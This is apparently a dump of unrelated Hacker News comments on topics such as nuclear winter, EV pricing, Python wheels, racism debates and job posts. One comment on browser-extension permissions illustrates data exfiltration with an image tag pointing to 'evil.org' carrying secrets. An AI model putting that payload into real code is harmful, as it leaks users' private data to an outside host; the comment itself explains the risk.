skysight-inc/HackerNews huggingface dataset:
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What about the real left though? You've left their arguments completely unscathed.
https://research.stlouisfed.org/fred2/series/DGS1/
When did desalination become cheaper? Saudi Arabia can be afford it because of the petro money but how about United States and reading the env. impacts not sure which way to look for water.
Eh, I think that's underplaying it a bit. Of course you can't literally turn a state the size of Texas into a plate of glass with nukes, but a couple thousand dropped in the most economically productive parts of the world?

In terms of the nuclear blast and radiation itself, it's true that probably only a half a billion people or so would die. But you'd be essentially ripping out the entire economic and political nervous system of the world, resulting in massive economic dislocation and political chaos. I find it plenty plausible that that by itself could easily get the body count up to the billions.

There are also possible environmental effects: the dreaded nuclear winter. It's not clear to me if the debate was resolved one way or another about how bad it'd actually be, but it seems like a real possibility that it'd hurt the climate much worse than even the most dire warnings of global warming. And it'd happen more or less instantly, as black soot would immediately be sent up to the stratosphere.

An article from 2007 in the Journal of Geophysical Research, courtesy of Wikipedia, states:

A global average surface cooling of –7 °C to –8 °C persists for years, and after a decade the cooling is still –4 °C (Fig. 2). Considering that the global average cooling at the depth of the last ice age 18,000 yr ago was about –5 °C, this would be a climate change unprecedented in speed and amplitude in the history of the human race. The temperature changes are largest over land ... Cooling of more than –20 °C occurs over large areas of North America and of more than –30 °C over much of Eurasia, including all agricultural regions.

That's bad news, and would compound the political strife, wars, and economic dislocations. And while now refugees from war have to possibility of fleeing to a neighboring stable country, with this scenario pretty much everyone is in a terrible place, so you don't even have that possible pressure valve.
I think so. He would be super excited to work on the dissassembler. He doesn't have linux kernel experience, but he's on the list of people I'd hire to do a kernel driver, if I needed such a thing. (Really, he's only on the top of that list because everyone else I know who is proven in that field is fully employed and super expensive. But this guy is definitely smart enough to handle it.)

he was the original author of a serial class for qt[1]... of course, I know that is not anything like a device driver, but it's something.

I also body-shopped and sysadmined for him on a project that involved reverse-engineering a windows program.

but... you'd have to make it clear that you are okay that he doesn't have linux kernel experience, so long as he's willing to try it.

I think he'd also be cool with contract work, if you want to try him out.

my email is lsc@prgmr.com- I don't really feel like it would be cool to post his email on the open internet but I can forward something.

[1]qextserialport, which I am given to understand isn't the standard.
> If you strip off the really genuinely nutty stuff, quite a bit of what I remember reading nutters talk about on places like Usenet alt.conspiracy in the 1990s is now reality.

well, yeah. if you ignore all the crazy, what's left isn't crazy. why is that surprising?

> The conspiranoids would have called you crazy if you'd suggested that everyone would be carrying devices that constantly report their location at all times

would they? that seems like a pretty obvious consequence of carrying a cell phone.

maybe my recollection is different, but i don't think people were saying "the government reads your email" was a crazy idea. they were saying "the government reads your email on their secret moon base staffed by hitler clones" was a crazy idea.

if you want to make the argument that the hatters were right all along but were wrongly dismissed, find a specific claim that was made, and a specific counterclaim. these "right all along" discussions always slide into unfalsifiable generalities and strawmen.
The Federal and State subsidies for EV's drive down the used market value of the cars substantially. I just purchased a 2013 Nissan Leaf and you can get the base models all day long for 10k, or 13k'ish for the high end model. There is probably a little bit of a FUD discount as well since nobody knows how long the batteries will last, or what will happen when you want to change them. Incidentally, my Leaf replaced a Nissan XTerra :)
I know quite a bit of conspiracy nuts and I'm sure that some of the stuff they talk about may one day be revealed as true, but that doesn't mean that I will listen to 99% of their bullshit for 1% of potential truth.

Throw enough mud at the wall...
Literally from the Wikipedia page on racism:

> "One view holds that racism is best understood as 'prejudice plus power' because without the support of political or economic power, prejudice would not be able to manifest as a pervasive cultural, institutional or social phenomenon."

The word you're looking for is discrimination, which is also what the link I added for more information calls it.

The point of that part of the CoC is that all environments do not have to be welcome to all, specifically that environments that are safe spaces for a marginalized group do not have to also be a safe space for the dominant group.
your narrative of what defines racism is, whilst sort of poetic, entirely without merit. wether someone discriminates on race/sex, no matter what way for (e.g anti-white/male, etc.), you are being racist. that is all racism is. to incorporate the term racist with something like "anti-black", is to incorporate black racism into the word racism, and, by extension, almost deny that other sorts of racism exist.

co-incidentally (and perhaps unsurprisingly), your justifications sound alarmingly similar to new-wave feminism movements, that, in general, seem to be themselves horrendously sexist.

i didn't invent the last 10,000 years of human culture, and there are plenty of things that i dislike about it. i believe someone's racial/sexual identity should not be a discriminating factor in their lives. for someone else to deny me of input on either side of the discussion about how to implement those ideals, because of my "privilege" is idiocy.
The problem with Echalon-type programs today is cultural. They were/are intelligence operations. But today "intelligence" has grown to encompass criminal investigations and targeted, violent, operations such as drone strikes.

An intelligence operation does not need to be 100% accurate. Huge volumes of less-than-perfect data are examined by experts who then issue reports, opinions, on what is actually happening. The top report would be the sort of things included in a president's daily briefing. That was basic cold-war intelligence.

Today's leaders expect surveillance to be absolute. They don't want "and increased likelihood of attack", they want "Mr. Smith will be onboard flight 123 at 2pm". That's the level you need to send a bunch of cops to lawfully and publicly arrest a specific person and take them to a court for prosecution. Such things require very different methods, methods for which ECHALON was never designed.
Why the Next Generation Apple TV Could Be the Biggest Game Changer
Maybe you should actually read the story: they decided they aren't going to build the product and they decided they are going to refund backers. The "stinking idea" is their own.
My experience with wheels has been that it continues to be an absolute nightmare to deal with Linux distros and we end up building from the tarballed source as usual.

Then again, we tend to struggle a bit with Python package management in general (who doesn't, I guess).
This is a precursor to the original variant of Google's Native Client, which also relied on 286-era segmentation registers that went away with amd64
Top secret black magic in F#, generic GUI-and-system code in C#, user-facing app-specific stuff in IronPython? (IronPython possibly taking advantage of some kind of REPL and/or hot reloading to provide quick iteration for the developers. Also maybe gives the option of end-user extensibility.)
The long-term trends look favorable for rooftop solar and community solar.

http://www.forbes.com/sites/uciliawang/2011/08/08/chevy-volt...

http://www.sandc.com/products/energy-storage/ces.asp

The grid of the future might be decentralized and autonomous.
It's a good idea, and one we thought of and tried to make work when I worked on extensions.

Unfortunately, the DOM itself is so flexible and powerful, that it can be used to exfiltrate information through a variety of mechanisms.

For example, that same extension that only has access to gmail.com's DOM? Well, it can add an image like <img src="evil.org?{secrets}">.

The extension system could try to detect such things, but there are a variety of ways for bad extensions to work around the detections.
Totally agree. You could even limit it by whichever app you want to give access to.
Chrome seems to uninstall the extension on boot 'cause it's not on the web store.
Agree and disagree. I've got a very strong sense that many of G+'s issues had something to do with Gundotra. And that it was decidedly non-organic. Rather than an internal useful engineering hack created out of desire and practicality, it was a fear-driven reaction to Facebook.

But: the policies clearly ultimately came from the very highest level at Google. Biggest consequence is an exceptional blow to my trust in the company.

Or rather, series of blows.
I remember the Zircon affair quite vividly. At the time I was a 20 year old student union activist, CND member (still a member) and involved in the Scottish independence movement (SNP member when it was unfashionable).

A couple of days after BBC Scotland was raided by Special Branch a bunch of us attended a viewing of the "banned" Secret Society "Zircon" programme in Edinburgh in the City Chambers (I think). Duncan Campbell was present and gave a short introduction. It was a positively electrifying event. I managed to get hold of a copy of the episode for distribution and viewing at my college. It was handed to me in a jiffy bag, the VHS video cassette was labelled "Mickey Mouse", I think I have it in a box somewhere.
A 2006 Italian movie, "In ascolto" ( The Listening ) [1] [2] [3] presents a much more realistic plot.

[1] The Listening (film)

https://en.wikipedia.org/wiki/The_Listening_(film)

[2] NYT Review

http://www.nytimes.com/movies/movie/351999/The-Listening/ove...

[3] Trailer - The Listening (2006)

https://www.youtube.com/watch?v=ZlVK906Xzr8
Why is it called a python "wheel"?

Should python really have been called "rodent" with "wheels" being the "cheese wheels" we rodents get from the "cheese shop"?
This is already happening in my neighborhood/county at least. We separate our stuff but we've seen other cans get ticketed for contaminated receptacles. (I think it's mostly just warnings now, unless you are a habitual offender.)

Still, this is all a bunch of crap. This is a perfect thing to centralize and no amount of shaming/fining the population is going to actually solve the problem in the long run without causing major headaches and graft for the waste management companies (oh, the stories I could tell about them).
It means companies refuse to:

1) train people, and
2) pay for talent

Businesses have pretty much tapped out the supply of devs who will spend thousands of hours of their own time on l&d for the love of the craft. So now if they want the expertise they have to pay.

If I am learning on my own time in order to increase my income I expect to get returns of at least 1cent/hour (and that's the extreme low end). So if I invest 10,000 hours I expect at least a $100/hr return.

How many companies complaining about a dev shortage are offering salaries of $300k+/year (intermediate dev salary + $100/hr compensation for all the l&d)?
But how you judge who has power and/or privilege? If it is just by race, that is racism. If it's by sex it is sexism.

And in what context do you judge that? San Francisco? West Sumatra? The average of the world?
Is Drone Racing Legal?
The major(?) new(ish) tech news network in Norway (https://tek.no, formerly hw.no, also have gamer.no) is a funny example. Their writers are crap compared to something like Anadtech, and they mostly aggregate/regurgitate tech news, like most aggreagation sites -- adding little value (well, to anyone that reads English, which is pretty much anyone interested in the subject matter in Norway, with the possible exception of very young gamers).

They used to be one of the few sites I'd occasionally click through on ads -- hw.no (a hardware reviews site, reviews in their only "original" content -- and while not as good as dpreview/anadtech etc -- sometimes worth reading) had very well targeted ads: your read about hardware, Norwegian companies advertise hw for sale. Obvious match.

Then, due to the web being the web, I started using an ad-blocker -- partly to get rid of ads (gets in the way of reading, ie: gets in the way of the value the web provides me) -- and mostly as an anti-virus/malware thing.

Then tek.no launched a "premium" service, and started blocking access to those using adblock -- showing a "please enable ads or subscribe to read without ads" pop-up. Perfectly fine. I now rarely read tek.no -- their product isn't good enough that it's worth anything to me. That might change if there was a viable micro-payment solution -- but just the effort of subscribing (ignoring the actual cost) is too high a price for me to pay for their content.

The real question, is would I pay for other content? There are a couple of newspapers I might consider subscribing to -- some Norwegian, and eg: The Washington Post, The New York Times, The Guardian -- but generally I'm not convinced any of them have a good (enough) digital product.

I'd want a) no ads, b) no tracking, c) no pdf/rich-media crap, d) no drm, decent RSS support and off-line reading (epub might be a great choice of format, or "least worst") c) decent typography (hello: CSS3: p { hyphens: auto }).

Does anyone know of anyone that provides this? LWN is probably the closest I know of -- and at the top of my list of "subscription todos". If they had more content, and more stuff along the lines of Dr. Dobbs and Byte, I'd probably have already subscribed -- but I assume that'd demand at least a doubling in price (which would be fine by me).

[ed: as for tracking -- it makes no sense to have an opt-out standard. An opt-in standard might make sense -- but that'd probably just mean the end of (legal) tracking -- who'd really want to opt-in?]
Location aware beacons and geo fenced
We've build Proxitee as a developer friendly platform - not focused on marketing.

It's beacon agnostic and because you have access to the raw payload you can create unique data structures to suite your apps requirements.

I curious about how many people are building location awareness into their solutions. We're aware that to build an beacon focused app sometimes you struggle to find the use case, and that's why we build proxitee with the ability to plug into an existing app. Which means you can build your killer app + enhance it by making it location aware.

A few questions.
1. Have you built any location aware apps and if YES what hardware and platform (if any) did you use ? Any good and/or bad things to point out?
2. Are you planning on building any location aware apps in the next 3 months?
3. Would you prefer using this as a SAAS platform or Packaged and self hosted.
4. Would you prefer a fixed monthly fee or a per interaction based model?

Thanks in advance and if you have an interesting project that needs location awareness in it - drop me a line.

Thx
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Agree! I even sent them e-mail telling them I didn't care about DRM, and, even though I got why, and I didn't wanted to oppose them, I DIDN'T WANTED THEM TO WASTE TIME ON DRM!

And I am sooo deceived now: they can't handle DRM? NO PROBLEM! They are running late? NO PROBLEM! Just get me what you promised me whenever you get there!
I wish I was offered a choice, here, instead of being forced to take my money back.
Law passes requiring improved mileage or fines. Auto makers followed by increased mileage and avoided fines. It's pretty simple.
Gotta admit, one of the things the React team is handing better than Angular is UX, usability, and general newbie-adoption. This looks very polished and useful.
I think the main issue with this philosophy is Mint is a very juicy target for hackers and it only takes one person on the inside to "turn bad". The company itself can have the best of intentions.

That being said I use them too...
Yeah, I repurposed a Lenovo T420 that has a broken keyboard into a media center. Grabbed a DisplayPort to HDMI adapter, installed Ubuntu + KBMC (Kodi, now) on it, and it works pretty good. You can use various plugins to get a lot of features minus Netflix, of course, which will never work properly with third-party software under Linux because.... well, whatever.
That's like saying a rich person cannot steal, because it has money.
60% of the electricity produced in California is from burning natural gas[1]. At present, switching to EV's is not going to reduce overall emissions unless an equal push is made to increase production of electricity by wind, solar, nuclear, etc.. However, the smog in urban centers like L.A. might be reduced even if overall carbon emissions aren't.

[1]https://en.wikipedia.org/wiki/Energy_in_California
Because it is a hard problem to solve. I think most good organizations make remote work an exception rather than the rule.

I think the reason is because very few people are able to manage the trials of working for a large organization and work remote. It involves being able to distinguish between when to converse via the written text and when to get ready to jump on a call or talk face to face. Consequently, it also imposes an overhead on the part of the non-remote team to assiduously convert all in-person/ad hoc conversations into text and loop the remote person in.

It also sometimes necessitates a person who is able to be high functioning and effectively independent of the rest of the team.

Now in cases where both of these are possible, I can imagine a startup letting some people do remote. Personally, I would think of this as an unnecessary overhead if I were to start an early stage startup.
Yeah, for sure. I remember once I bought tickets for a large stadium gig. The gig was postponed at a late stage, for a year, and the options were:

1) get a refund, lose the ticket you'd been lucky to get at face value back into the pool, probably never to be seen again for the same price.
2) hold onto your ticket, wait a year, go see the gig

It therefore resulted in $millions being held by the organisers for over a year - there are extremely low risk ways to gain a meaningful profit from a large amount of capital. Intentionally or not, and whether or not it was invested by them during that year, this situation turned out to be a great way to get a huge, zero-interest loan of said capital.

I'm not sure if there are laws that prevent this kind of thing from happening, but it's certainly easy money in theory.
It seems that every single language(even Haskell semigods) struggle with this. Guido himself stated that it's the part he hates the most in python.
If I remember correctly, the IA also likes to encode the video several times in different qualities and formats and that results in large archives. A 1 hour TV show might end up taking 100 gigs of space. With RAID and replication, an enterprise 4tb drive that costs $200 might end only holding 2tb of data, or 20 TV shows. That ends up being $10 in equipment just by itself for storage. Then add on the costs of power and equipment to encode it and the labor, I can see things costing $13 per tape.
They never promised DRM content during the Kickstarter campaign. Stretching for a feature that I don't want, running late, runnning later and then not building the product BECAUSE OF THE FEATURE I DON'T WANT.
Now that is gonna make me (and some others backers too) very angry!
Pay someone $15/hr to babysit the player, type in the episode and guest names.
YesGraph (YC W15) https://www.yesgraph.com Full Time, Redwood City, CA

YesGraph helps companies grow through our social graph analysis API. We’re hiring for our data team.

It turns out that most of the work in machine learning and data science is around managing and scaling data. So we’re going to focus on developing this talent in house: we’ll hire smart full stack engineers and train them to get better at building data systems at scale. This opportunity to learn and level up is unparalleled.

There are a few dimensions here:

- scaling data infrastructure
- managing distributed systems
- manipulating and managing data
- acquiring, cleaning, and modeling data from 3rd party APIs and crawling
- applying machine learning algorithms, including some math to know why
- software engineering and systems design

It’s good to have some familiarity with our environment to hit the ground running. We write code in Python, deploy on Heroku, and use Postgres, Redis, and AWS data stores. We use the python data and machine learning libraries like numpy, scipy, pandas, and scikit-learn.

Email me: ivan@yesgraph.com
Native client is more of a browser plugin thing. VX32 is much more of a reusable library for sandboxing.

I wish nacl API was as simple to use as vx32!
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I've been at more than one place that does this (one just had a sys admin be the one to do it, after it was user tested) :(

Both were pretty entry level positions.
I think that the most important part of the article is the following quote in the introduction:

> probabilities may not be well defined if the mechanism or method that produces the random variable is not clearly defined.

So comparing the answer of 1/2, where the chords are generated by moving along the radius in increments of dr, with the answer of 1/3, where the chords are generated based on the angle from the starting point.

The problem doesn't specify how to pick random points, though I suspect that if you were to choose two random points on the radius of a circle by picking a reference "going around the edge" of the circle clockwise by some amount in [0, 2pi), we get the angular situation that produces the 1/3 answer.
What about RTP?
Or at least in the universe, which seems like a fair assumption for now.
The follow-up post "Stigler Conviction vs. Feynman Integrity " I think explains what effect he was aiming for with that title. I don't think he wanted to say anything specific about Feynman per se.

http://paulromer.net/stigler-conviction-vs-feynman-integrity...